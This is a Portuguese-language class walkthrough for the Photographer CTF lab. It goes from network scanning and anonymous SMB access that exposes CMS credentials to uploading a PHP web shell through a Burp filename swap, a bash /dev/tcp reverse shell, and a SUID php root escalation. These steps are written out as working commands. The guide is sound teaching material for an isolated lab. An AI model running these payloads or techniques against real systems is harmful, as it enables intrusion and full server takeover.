

=====

GUIA DE ATAQUE COMPLETO E CONSOLIDADO — PHOTOGRAPHER CTF

Metodologia Black Box | Aula 11 — Cibersegurança

=====

```
Kali Linux      => usuário: kali      | senha: kali
Metasploitable => usuário: msfadmin   | senha: msfadmin
IP_ALVO (exemplo) => 192.168.56.103
SEU_IP (seu Kali) => descubra com 'ifconfig' antes de começar
                    (192.168.56.102)
```

IMPORTANTE: O IP_ALVO pode mudar entre sessões. SEMPRE confirme com o comando 'arp-scan' antes de começar (Fase 1, Passo 1).

O QUE É UM CTF E O QUE VAMOS FAZER AQUI?

CTF (Capture The Flag) é um exercício prático de segurança onde o objetivo é encontrar "flags" (arquivos secretos) dentro de uma máquina vulnerável, simulando um teste de intrusão real (pentest).

A máquina Photographer é um alvo controlado e offline, criado especificamente para estudos. Nosso caminho será:

```
[Rede] --> [Portas abertas] --> [Aplicação Web + SMB]
--> [Credenciais] --> [Upload malicioso] --> [Shell Reverso]
--> [Flags!]
```

A abordagem é "Black Box": começamos sem saber nada sobre o alvo.

FASE 1: RECONHECIMENTO E ENUMERAÇÃO INICIAL

OBJETIVO: Descobrir qual é o IP do alvo na rede e mapear todos os serviços e portas que estão abertos nele.

PASSO 0 — Configuração inicial da máquina Kali (faça sempre primeiro)

```
setxkbmap br
```

O que faz:

Ajusta o layout do teclado para o padrão brasileiro (ABNT2). Sem isso, teclas como ç, ~, ´ e outros caracteres especiais podem sair erradas durante os comandos, causando erros confusos. Execute este comando logo que abrir o terminal.

```
ifconfig
```

O que faz:

Exibe as configurações de rede da sua máquina Kali: endereço IP, máscara de sub-rede e interface de rede ativa (geralmente eth0 ou ens33). O IP exibido aqui é o SEU_IP — anote-o, pois será necessário na hora de configurar o shell reverso (Fase 4).

PASSO 1 — Descobrir o IP do Alvo na rede local

Use um dos comandos abaixo (os três fazem coisas semelhantes):

```
sudo arp-scan --localnet
sudo netdiscover -r 192.168.56.0/24
nmap -sn 192.168.0.0/16
```

O que fazem:

arp-scan / netdiscover => Envia requisições ARP para todos os dispositivos da rede. Qualquer máquina ativa responde com seu IP e MAC address. São os mais rápidos para redes locais.
nmap -sn => O -sn significa "Ping Scan": o Nmap testa quais IPs estão ativos na sub-rede inteira sem escanear portas. Útil quando arp-scan não está disponível. Ajuste a sub-rede (ex: 192.168.56.0/24 ou 192.168.1.0/24) para a sua rede.

Anote o IP que aparecer como estranho/desconhecido: esse é o IP_ALVO (substitua em todos os comandos seguintes).

Dica: o IP pode ser 192.168.1.x, 192.168.56.x ou outro.

PASSO 2 — Verificar conectividade com o alvo

```
ping 192.168.56.103
```

O que faz:

Envia pacotes de eco para o alvo e verifica se ele responde.

Se responder, a comunicação entre as máquinas está funcionando.

PASSO 3 — Escanear portas e serviços abertos (Nmap)

Use os três comandos abaixo em ordem, do mais simples ao mais completo:

3a) Scan básico — lista rápida de portas abertas:

```
nmap 192.168.56.103
```

O que faz:

Escaneia as 1000 portas mais comuns no alvo e mostra quais estão abertas. É o ponto de partida: rápido, sem detalhes, mas já revela quais serviços existem (SSH, HTTP, SMB etc.).

3b) Scan de versões — identifica o software em cada porta:

```
nmap -sV 192.168.56.103
```

O que faz:

-sV => Vai além de saber que a porta está aberta: tenta identificar a VERSÃO exata do software rodando (ex: Apache 2.4.18, OpenSSH 7.2). Com a versão em mãos, é possível pesquisar exploits específicos.

3c) Scan completo — versões + scripts de detecção + ignora firewall:

```
nmap -sC -sV -Pn 192.168.56.103
```

O que faz:

-sC => Roda scripts padrão do Nmap para detectar vulnerabilidades comuns automaticamente.

-sV => Identifica a VERSÃO exata do software em cada porta aberta (ex: Apache 2.4.18, OpenSSH 7.2p2). Isso é crucial para buscar exploits específicos daquela versão.

-Pn => Ignora o ping inicial. Útil quando o firewall do alvo bloqueia pacotes ICMP (eco), evitando falsos negativos.

Resultados esperados para a Photographer:

Porta 22 => SSH (acesso remoto)

Porta 80 => HTTP (site principal)
Porta 139 => NetBIOS (parte do SMB)
Porta 445 => SMB (compartilhamento de arquivos em rede)
Porta 8000 => HTTP (segundo site/CMS — muito importante!)

Anote bem as versões que aparecerem: elas serão usadas nas próximas fases para saber exatamente como explorar cada serviço.

FASE 2: INVESTIGAÇÃO DAS APLICAÇÕES WEB

OBJETIVO: Analisar os sites nas portas 80 e 8000, identificar as tecnologias usadas e encontrar diretórios e páginas escondidas.

PASSO 4 — Identificar as tecnologias do site (WhatWeb)

```
whatweb http://192.168.56.103  
whatweb http://192.168.56.103:8000
```

O que faz:

Analisa os cabeçalhos HTTP e o código-fonte das páginas para revelar qual CMS está sendo usado (ex: WordPress, Koken), qual servidor web (Apache, Nginx) e qual versão do PHP. Na porta 8000, espera-se encontrar o CMS "Koken".

PASSO 5 — Escanear vulnerabilidades web (Nikto)

```
nikto -h http://192.168.56.103  
nikto -h http://192.168.56.103:8000
```

O que faz:

O Nikto é o "dedo-duro" dos servidores web. Ele vasculha o site em busca de vulnerabilidades conhecidas: cabeçalhos HTTP ausentes, arquivos sensíveis expostos, versões desatualizadas de software, configurações incorretas etc.

PASSO 6 — Mapear diretórios e arquivos ocultos (Gobuster / Dirb)

Opção 1 — Dirb (mais simples, bom para começar):

```
dirb http://192.168.56.103
```

```
dirb http://192.168.56.103:8000
```

Opção 2 — Gobuster (mais rápido e avançado, use depois do dirb):

```
gobuster dir -u http://192.168.56.100 -w /usr/share/wordlists/dirb/common.txt
```

```
gobuster dir -u http://192.168.56.100:8000 -w /usr/share/wordlists/dirb/common.txt
```

O que fazem:

Testam automaticamente uma lista enorme de nomes de pastas e arquivos (wordlist) contra o servidor. Se uma página existir, ela responde com código 200 e a ferramenta a exhibe.

Objetivo: encontrar painéis de admin (/admin, /login), pastas de upload (/uploads, /storage) e arquivos de configuração.

FASE 3: INVESTIGAÇÃO SMB (COMPARTILHAMENTOS DE REDE)

OBJETIVO: O Nmap revelou as portas 139/445 abertas, que são do protocolo SMB (usado para compartilhar arquivos em rede, como o "compartilhamento de rede" do Windows). Vamos vasculhar esses compartilhamentos em busca de arquivos com credenciais.

PASSO 7 — Listar os compartilhamentos SMB disponíveis

```
smbclient -L //192.168.56.103/ -N
```

O que faz:

-L => Lista todos os compartilhamentos de rede (pastas) disponíveis.

-N => Tenta acesso anônimo, sem fornecer senha. Se funcionar, significa que o servidor está mal configurado e permite acesso público, o que é uma grave falha de segurança.

Resultado esperado: uma pasta chamada "smbashare" visível.

PASSO 8 — Acessar a pasta compartilhada

```
smbclient //192.168.56.103/smbashare -N
```

O que faz:

Conecta à pasta "sambashare" sem senha. Você entrará em um prompt interativo do SMB (smb:\>). Use os comandos abaixo:

ls => Lista os arquivos dentro da pasta
get ARQUIVO => Baixa um arquivo para a sua máquina Kali

PASSO 9 — Baixar e ler os arquivos encontrados

Dentro do prompt smb:\>, execute:

ls
get mailsent.txt

Depois, saia do SMB com 'exit' e leia o arquivo no Kali:

cat mailsent.txt

O que esperar:

O arquivo mailsent.txt é um e-mail interno que contém credenciais de acesso ao CMS (painel administrativo na porta 8000).

Exemplo do que você vai encontrar:

- E-mail: daisa@photographer.com
- Senha: babygirl

ANOTE ESSAS CREDENCIAIS. Elas são a chave para a Fase 4.

FASE 4: EXPLORAÇÃO — UPLOAD MALICIOSO E SHELL REVERSO

OBJETIVO: Usar as credenciais encontradas para acessar o painel admin do CMS. Lá, vamos explorar uma falha de validação de upload para enviar um script PHP malicioso (nosso "shell reverso") que nos dará controle total do servidor.

CONCEITO IMPORTANTE: O QUE É UM SHELL REVERSO?

Normalmente, você tentaria se conectar AO alvo (ex: via SSH). Porém, firewalls bloqueiam conexões de entrada não autorizadas.

A solução é inverter: fazemos o ALVO se conectar ao SEU Kali.
O seu Kali fica "escutando" em uma porta. O script malicioso (que você fez o upload) faz o servidor da vítima "ligar" para você, entregando o controle do terminal.

Seu Kali [escutando na porta 4444] <===== Servidor Alvo [executa shell.php]

Isso funciona porque conexões de SAÍDA do alvo normalmente não são bloqueadas pelo firewall.

PASSO 10 — Preparar o arquivo malicioso (Web Shell)

Crie um arquivo chamado 'shell.php.jpg' com o seguinte conteúdo:

```
<?php system($_GET['cmd']); ?>
```

Como criar via terminal Kali:

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
```

Por que a extensão dupla (.php.jpg)?

O CMS Koken valida o tipo de arquivo pelo nome antes do upload. Ao usar '.jpg' no final, enganamos essa verificação inicial, fazendo o sistema acreditar que é uma imagem. Usaremos o Burp Suite no próximo passo para revelar o arquivo real (.php) ao servidor no momento do envio.

O que o script faz?

'system()' é uma função PHP que executa comandos do sistema operacional. '\$_GET["cmd"]' pega o parâmetro 'cmd' da URL. Ou seja: qualquer comando que você colocar na URL após '?cmd=' será executado no servidor como se você estivesse no terminal.

PASSO 11 — Abrir o Netcat para receber a conexão (Terminal 1)

```
nc -lvnp 4444
```

O que faz:

- nc => Netcat, a "canivete suíço" das redes.
- l => Modo de escuta (listen): fica aguardando conexões.
- v => Verbose: mostra detalhes do que está acontecendo.
- n => Sem resolução DNS (mais rápido e estável).
- p 4444 => Escuta especificamente na porta 4444.

ATENÇÃO: DEIXE ESTE TERMINAL ABERTO durante toda a exploração.

Quando o alvo se conectar, o prompt vai mudar para algo como:

'www-data@photographer:~\$'

Isso significa que você está DENTRO do servidor!

PASSO 12 — Fazer o upload via Burp Suite (A Exploração)

Configuração do Burp Suite:

- a) Abra o Burp Suite e ative o Interceptor (aba Proxy > Intercept ON).
- b) Configure o navegador para usar o proxy do Burp:
Host: 127.0.0.1 | Porta: 8080

Executando o upload:

- a) Acesse o painel admin do CMS:
`http://IP_ALVO:8000/admin`
- b) Faça login com as credenciais do mailsent.txt
(ex: daisa@photographer.com / babygirl).
- c) Navegue até a opção de importar/upload de imagem
(geralmente em 'Import Content' ou similar).
- d) Selecione o arquivo 'shell.php.jpg' para upload.
- e) O Burp Suite vai INTERCEPTAR a requisição antes de enviá-la.

No Burp Suite (a parte crítica):

- f) Na requisição interceptada, encontre o nome do arquivo.
Você verá algo como:
`filename="shell.php.jpg"`
- g) ALTERE para remover o '.jpg':
`filename="shell.php"`
- h) Clique em 'Forward' para enviar a requisição modificada.

Por que funciona?

O CMS verificou o nome no navegador e viu '.jpg' (imagem, ok).
Mas o Burp alterou o nome real enviado ao servidor para '.php'.
O servidor salva o arquivo como 'shell.php' em disco — um

script PHP executável — sem perceber a manipulação.

Após o upload, o CMS vai mostrar a imagem (ou um erro de preview).
Anote ou descubra o caminho onde o arquivo foi salvo no servidor
(geralmente algo como: /storage/originals/XX/YYYY/shell.php).

PASSO 13 — Disparar o Shell Reverso (A Conexão)

Com o nc ainda aberto (Terminal 1), acesse a URL abaixo no navegador.
Substitua IP_ALVO, o caminho real do arquivo e SEU_IP_KALI:

```
http://192.168.56.103:8000/caminho/do/upload/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'
```

Decodificando o payload:

```
bash -c '...'      => Executa o comando entre aspas no bash.  
bash -i           => Abre um bash interativo (com prompt).  
>& /dev/tcp/SEU_IP/4444 => Redireciona a saída do bash para  
                        o seu IP na porta 4444 via TCP.  
0>&1              => Redireciona a entrada também, permitindo  
                        que você envie comandos pelo terminal.
```

Resultado:

Assim que você pressionar Enter na URL, o Terminal 1 (com o nc)
exibirá o prompt do servidor:
connect to [SEU_IP] from [IP_ALVO]
www-data@photographer:/var/www/html/koken\$

Parabéns! Você tem um shell no servidor alvo.

FASE 5: PÓS-EXPLORAÇÃO — COLETANDO AS FLAGS

OBJETIVO: Navegar pelo sistema comprometido, coletar as flags e
levantar informações sobre o sistema para documentação.

PASSO 14 — Reconhecimento interno do sistema

No terminal com o shell ativo, execute:

whoami => Mostra com qual usuário você está operando
 (provavelmente 'www-data', o usuário do Apache)
id => Mostra o UID, GID e grupos do usuário atual
uname -a => Mostra informações do sistema operacional e kernel
hostname => Nome da máquina
ip a => Endereços de rede da máquina (ou 'ifconfig')

PASSO 15 — Coletar a primeira flag (Flag de usuário)

ls /home/ => Lista os usuários do sistema
cat /home/daisa/local.txt => Lê a primeira flag

A flag será um código no formato: flag{alguma_coisa_aqui}
Anote-a para o relatório do grupo!

PASSO 16 — Explorar o sistema (Informações adicionais)

cat /etc/passwd => Lista todos os usuários do sistema
ps aux => Processos em execução
find / -name "*.txt" 2>/dev/null => Procura outros arquivos .txt
find / -perm -4000 2>/dev/null => Arquivos com SUID (útil para
 escalada de privilégios)

RESUMO RÁPIDO — SEQUÊNCIA COMPLETA DE COMANDOS

[TERMINAL KALI — Configuração inicial]

setxkbmap br
ifconfig # Anote SEU_IP aqui!

[TERMINAL KALI — Reconhecimento]

sudo arp-scan --localnet	# Descubra IP_ALVO
nmap -sn 192.168.0.0/16	# Alternativa ao arp-scan
nmap 192.168.56.103	# Scan básico de portas
nmap -sV 192.168.56.103	# Scan com versões
nmap -sC -sV -Pn 192.168.56.103	# Scan completo
ping 192.168.56.103	# Scan de conectividade

```
whatweb http://192.168.56.103:8000
nikto -h http://192.168.56.103          # Escaneia o site em busca de vulnerabilidades (o
'dedo duro')
dirb http://192.168.56.103             # Mapeia diretórios e páginas do site
gobuster dir -u http://192.168.56.103:8000 -w /usr/share/wordlists/dirb/common.txt
Não usado//nikto -h http://192.168.56.101/dvwa      # Verifica vulnerabilidades desse item
específico (servidor frágil)(login:admin/senha:password)
Não usado//dirb http://192.168.56.101/dvwa          # Mapeia diretórios e páginas do site
Não usado//gobuster dir -u http://192.168.56.101/dvwa  # Acessa até pastas escondidas e
tem que ser acessado depois do dirb
```

[TERMINAL KALI — SMB]

```
smbclient -L //192.168.56.103/ -N
smbclient //192.168.56.103/smbashare -N
> ls
> get mailsent.txt
> exit
cat mailsent.txt
```

[TERMINAL KALI — Preparação do Shell]

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
nc -lvp 4444          # DEIXE ABERTO!
```

[NAVEGADOR — Upload via Burp]

```
http://192.168.56.103:8000/admin      # Login com credenciais do e-mail
# Upload de shell.php.jpg > Burp intercepta > muda para shell.php > Forward
```

[NAVEGADOR — Disparo do Shell]

```
http://192.168.56.103:8000/storage/originals/1e/8b/shell.php?cmd=bash -c 'bash -i >&
/dev/tcp/192.168.56.102/4444 0>&1'
```

[TERMINAL KALI — Pós-exploração (no shell reverso)]

```
whoami
id
cat /home/daisa/local.txt
```

=====

DICAS FINAIS PARA O GRUPO

=====

- Tire PRINT de cada passo: reconhecimento, SMB, upload, shell e flags.
- Documente o IP_ALVO e SEU_IP usados na sessão.
- Se a conexão reversa cair, basta acessar a URL novamente (o shell.php ainda está no servidor) e o nc estará escutando.

- Caso o gobuster demore, use 'dirb' que é mais lento mas mais simples.
- A ordem das fases importa: sem o IP (Fase 1) nada funciona; sem as credenciais (Fase 3) não entra no CMS (Fase 4).
- O DVWA (Damn Vulnerable Web App) é uma máquina diferente, feita para praticar vulnerabilidades web gerais. A máquina Photographer é focada no CMS Koken (que roda na porta 8000).

=====

Boa sorte na apresentação!

=====

Burp Suite:

1. No Kali, abra o terminal e digite:

burpsuite

2. Clique em Next → Next → Start Burp

Passo 2 — Ativar o Intercept

1. Na aba superior, clique em Proxy

2. Clique na subaba Intercept

3. Clique no botão até ficar: Intercept is ON

Intercept is ON

Passo 3 — Configurar o proxy no Firefox

1. Abra o Firefox

2. Clique no menu ☰ → Settings (Preferências)

3. Na barra de busca, digite: proxy

4. Clique em Settings... (dentro de Network Settings)

5. Selecione Manual proxy configuration e preencha:

HTTP Proxy: 127.0.0.1 Port: 8080

Passo 4 — Instalar o certificado do Burp (HTTPS)

No Firefox, acesse: <http://burpsuite> → CA Certificate → save

Depois: Firefox Settings → search certificates → Import → selecione o arquivo

Passo 5 — Testar se está funcionando

1. No Firefox, acesse: <http://192.168.56.103:8000/admin>

2. A página vai travar — isso é normal! O Burp interceptou.

3. No Burp Suite → Proxy → Intercept → clique Forward

Repita até a página carregar. ✓ Proxy funcionando!

=====

GUIA ATUALIZADO — FASE 4 E 5: BURP SUITE + SHELL REVERSO + FLAGS

Photographer CTF | Aula 11 — Cibersegurança

*** Versão corrigida com base na execução real ***

=====

ANTES DE COMEÇAR — CHECKLIST:

- [] Máquina Photographer ligada e com IP confirmado (ex: 192.168.56.103)
- [] Kali Linux ligado com IP confirmado (ex: 192.168.56.102)
- [] Credenciais em mãos: daisa@photographer.com / babygirl
- [] Dois terminais abertos no Kali

FASE 4: EXPLORAÇÃO — UPLOAD MALICIOSO E SHELL REVERSO

PASSO 10 — Criar o arquivo malicioso (Terminal 1)

Execute no terminal do Kali:

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
```

Por que funciona?

O CMS Koken valida o arquivo pelo nome (.jpg = imagem = ok).
O Burp Suite vai alterar o nome real na hora do envio para .php,
fazendo o servidor salvar um script PHP executável.

PASSO 11 — Abrir o listener Netcat (Terminal 1 — DEIXE ABERTO!)

```
nc -lvp 4444
```

O que vai acontecer:

O terminal vai mostrar: "listening on [any] 4444 ..."
Deixe EXATAMENTE ASSIM. Não feche. Não aperte nada.
Quando o alvo se conectar, aparecerá:
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103]
www-data@photographer:/var/www/html/koken\$

PASSO 12 — Configurar o Burp Suite (antes do upload)

12a) Abrir o Burp Suite:

No terminal (Terminal 2):

```
burpsuite
```

Clique em: Next → Next → Start Burp

12b) Ativar o Intercept:

No Burp Suite: aba "Proxy" → subaba "Intercept"

Clique no botão até mostrar: [Intercept is ON] (fundo laranja)

12c) Configurar o proxy no Firefox:

Firefox → ☰ → Settings → busca "proxy" → Settings...

Marque: "Manual proxy configuration"

HTTP Proxy: 127.0.0.1 Port: 8080

Clique OK

!! ATENÇÃO: Com o proxy ativo, todas as páginas vão "travar".

Isso é normal. Para navegar, clique em "Forward" no Burp.

PASSO 13 — Fazer o Upload via Burp Suite (A parte crítica!)

13a) No Firefox, acesse:

`http://192.168.56.103:8000/admin`

Faça login: `daisa@photographer.com` / `babygirl`

(Se travar no carregamento, clique Forward no Burp várias vezes)

13b) No painel do Koken, clique em "Import Content" (ícone de upload)

Selecione o arquivo: `shell.php.jpg`

13c) O Burp vai capturar a requisição do upload.

Vão aparecer VÁRIAS requisições — clique Forward nas primeiras até encontrar a que contenha ESTAS DUAS linhas juntas:

Content-Disposition: form-data; name="file"; filename="shell.php.jpg"

Content-Type: image/jpeg

ESSA é a requisição certa!

13d) Edite o filename:

Clique na linha do filename e apague o ".jpg" do final:

ANTES: `filename="shell.php.jpg"`

DEPOIS: `filename="shell.php"`

Dica: Use o painel "Inspector" à direita do Burp → expanda

"Request body parameters" → edite o campo "name" diretamente.

13e) Clique em "Forward" para enviar.

Continue clicando Forward nas requisições seguintes até o upload concluir e o Koken mostrar a "imagem" (com spinner).

!! ATENÇÃO: O Koken exibe "shellphp.jpg" no painel — isso é normal!
O arquivo real no servidor está salvo como shell.php.

PASSO 14 — Descobrir o caminho do arquivo no servidor

14a) No Kali (Terminal 2), descubra o ID do upload mais recente:
O Koken mostra o ID no painel Inspector (ex: ID 8 ou 9).

14b) Use esse ID para consultar o caminho real:

```
curl -s "http://192.168.56.103:8000/api.php?/content/ID_AQUI" \
| python3 -m json.tool | grep -A3 "original"
```

Substitua ID_AQUI pelo número do ID (ex: 8, 9, 10...).

14c) Procure no resultado pelo campo "original" > "url":

Exemplo do resultado:

```
"original": {
  "url": "http://192.168.56.103:8000/storage/originals/1e/8b/shell.php",
```

14d) Anote o caminho: /storage/originals/XX/YY/shell.php
(no exemplo acima: /storage/originals/1e/8b/shell.php)

!! Se não encontrar, tente IDs sequenciais (8, 9, 10...) até achar
o resultado com mime_type: "text/x-php" — esse é o shell correto.

PASSO 15 — Testar o Shell (confirmar execução PHP)

15a) Desative o proxy no Firefox antes:

Firefox → Settings → proxy → "No proxy" → OK

15b) No navegador, teste com um comando simples:

`http://192.168.56.103:8000/storage/originals/XX/YY/shell.php?cmd=id`

Substitua XX/YY pelo caminho real encontrado no passo anterior.

Resultado esperado na tela do navegador:

`uid=33(www-data) gid=33(www-data) groups=33(www-data)`

Se aparecer isso → PHP executando com sucesso! Siga para o Passo 16.

Se a página ficar em branco ou der 404 → revise o caminho (Passo 14).

PASSO 16 — Disparar o Shell Reverso (A Conexão!)

!! CERTIFIQUE-SE: Terminal 1 ainda está com "nc -lvnp 4444" rodando!

No Terminal 2, execute o comando abaixo (use curl, não o navegador!):

```
curl "http://192.168.56.103:8000/storage/originals/XX/YY/shell.php" \
--get \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'"
```

Substitua:

XX/YY => pelo caminho real do arquivo (ex: 1e/8b)

192.168.56.102 => pelo SEU IP do Kali (confirme com ifconfig)

O que vai acontecer:

- O Terminal 2 (curl) vai TRAVAR/FICAR EM BRANCO → normal!
Significa que a conexão foi estabelecida e está ativa.
- O Terminal 1 (nc) vai mostrar:

```
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] PORTA
bash: cannot set terminal process group: Inappropriate ioctl
bash: no job control in this shell
www-data@photographer:/var/www/html/koken/storage/originals/XX/YY$
```

Os avisos "cannot set terminal" e "no job control" são normais!

Você agora tem um shell no servidor alvo. PARABÉNS! 🎉

!! Se a conexão cair: basta rodar o curl novamente (o shell.php continua no servidor). O nc precisará ser reiniciado também.

```
curl "http://192.168.56.103:8000/storage/originals/1e/8b/shell.php" \
```



```
--get \  
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'"
```

FASE 5: PÓS-EXPLORAÇÃO — COLETANDO AS FLAGS

PASSO 17 — Reconhecimento interno (dentro do shell reverso)

```
python3 -c 'import pty;pty.spawn("/bin/bash")'  
# Estabiliza o shell com Python, O prompt vai mudar para algo mais  
limpo como: www-data@photographer:~$
```

No Terminal 1 (onde o nc conectou), execute:

```
whoami  
# Resultado esperado: www-data  
  
id  
# Resultado esperado: uid=33(www-data) gid=33(www-data)  
  
uname -a  
# Mostra o kernel e sistema operacional  
  
hostname  
# Nome da máquina
```

PASSO 18 — Coletar a primeira flag (Flag de usuário)

```
ls /home/  
# Lista os usuários do sistema (esperado: daisa)  
  
find / -name "*.txt" -not -path "*/proc/*" 2>/dev/null  
# Acha o arquivo .txt do próximo tópico  
  
cat /home/daisa/user.txt  
# Lê a flag de usuário
```

A flag será no formato: flag{alguma_coisa_aqui}

ANOTE para o relatório!

PASSO 19 — Escalar privilégios para ROOT

19a) Procurar binários com permissão SUID:

```
find / -perm -u=s -type f 2>/dev/null
```

19b) Na Photographer, o PHP tem SUID. Procure na lista:
/usr/bin/php7.2 (ou versão similar)

19c) Se encontrar, use para virar root:

```
/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
```

Após executar, o prompt mudará para:
bash-4.3#

19d) Confirme que é root:

```
whoami  
# Resultado: root
```

```
id  
# Resultado: uid=0(root) gid=0(root)
```

PASSO 20 — Coletar a flag de root

```
ls /root/  
cat /root/proof.txt  
# ou  
cat /root/root.txt
```

ANOTE a flag de root para o relatório!

PASSO 21 — Informações adicionais para o relatório

```
cat /etc/passwd
# Lista todos os usuários do sistema
```

```
ps aux
# Processos em execução
```

```
ip a
# Configurações de rede da máquina comprometida
```

```
=====
RESUMO RÁPIDO — SEQUÊNCIA COMPLETA (FASE 4 E 5)
=====
```

```
[TERMINAL 1 — Preparação]
```

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
nc -lvp 4444                # DEIXE ABERTO!
```

```
[BURP SUITE — Configuração]
```

```
burpsuite                # Abrir
Proxy → Intercept → Intercept is ON
Firefox → proxy manual: 127.0.0.1:8080
```

```
[NAVEGADOR — Login e Upload]
```

```
http://192.168.56.103:8000/admin    # Login: daisa / babygirl
Import Content → seleciona shell.php.jpg
Burp captura → encontra filename="shell.php.jpg"
EDITA para → filename="shell.php"
Clica Forward
```

```
[TERMINAL 2 — Descobrir o caminho]
```

```
# Veja o ID no Inspector do Koken (ex: ID 9)
curl -s "http://192.168.56.103:8000/api.php?/content/9" \
  | python3 -m json.tool | grep -A3 '"original"'
# Anote: /storage/originals/XX/YY/shell.php
```

```
[NAVEGADOR — Desativa proxy e testa o PHP]
```

```
Firefox → Settings → proxy → No proxy → OK
http://192.168.56.103:8000/storage/originals/XX/YY/shell.php?cmd=id
# Deve mostrar: uid=33(www-data)
```

```
[TERMINAL 2 — Disparar o reverse shell]
```

```
curl "http://192.168.56.103:8000/storage/originals/XX/YY/shell.php" \
  --get \
```

```
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'"
```

[TERMINAL 1 — Shell ativo! Comandos pós-exploração]

```
whoami
```

```
id
```

```
cat /home/daisa/local.txt          # Flag de usuário
```

```
find / -perm -u=s -type f 2>/dev/null # Busca SUID
```

```
/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);" # Vira root
```

```
cat /root/proof.txt                # Flag de root
```

DICAS IMPORTANTES

- O curl com --data-urlencode é ESSENCIAL para o reverse shell.
O navegador não codifica corretamente os caracteres especiais (como >&, aspas e espaços), o que quebra o comando bash.
- Se a conexão cair: não precisa fazer upload de novo!
Só reinicia o nc (nc -lvnp 4444) e roda o curl novamente.
O shell.php continua no servidor.
- O path /storage/originals/XX/YY/ muda a cada upload.
Sempre confirme o caminho pela API (api.php?/content/ID).
- Tire PRINT de cada etapa: upload no Burp, shell ativo, flag de usuário e flag de root.

Boa sorte na apresentação! 🍀
